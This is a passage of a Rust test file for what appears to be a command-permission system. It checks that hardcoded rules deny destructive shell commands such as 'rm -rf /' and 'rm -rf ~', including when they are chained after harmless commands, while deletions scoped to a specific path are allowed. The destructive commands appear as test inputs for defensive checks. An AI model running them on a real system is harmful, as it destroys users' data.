1082 // Even with an allow pattern that matches, hardcoded rules block
1083 t("rm -rf /").allow(&[".*"]).is_deny();
1084 }
1085
1086 #[test]
1087 fn hardcoded_allows_safe_rm() {
1088 // rm -rf on a specific path should NOT be blocked
1089 t("rm -rf ./build")
1090 .mode(ToolPermissionMode::Allow)
1091 .is_allow();
1092 t("rm -rf /tmp/test")
1093 .mode(ToolPermissionMode::Allow)
1094 .is_allow();
1095 }
1096
1097 #[test]
1098 fn hardcoded_checks_chained_commands() {
1099 // Hardcoded rules should catch dangerous commands in chains
1100 t("ls && rm -rf /").is_deny();
1101 t("echo hello; rm -rf ~").is_deny();
1102 t("cargo build && rm -rf /").global(true).is_deny();
1103 }
1104}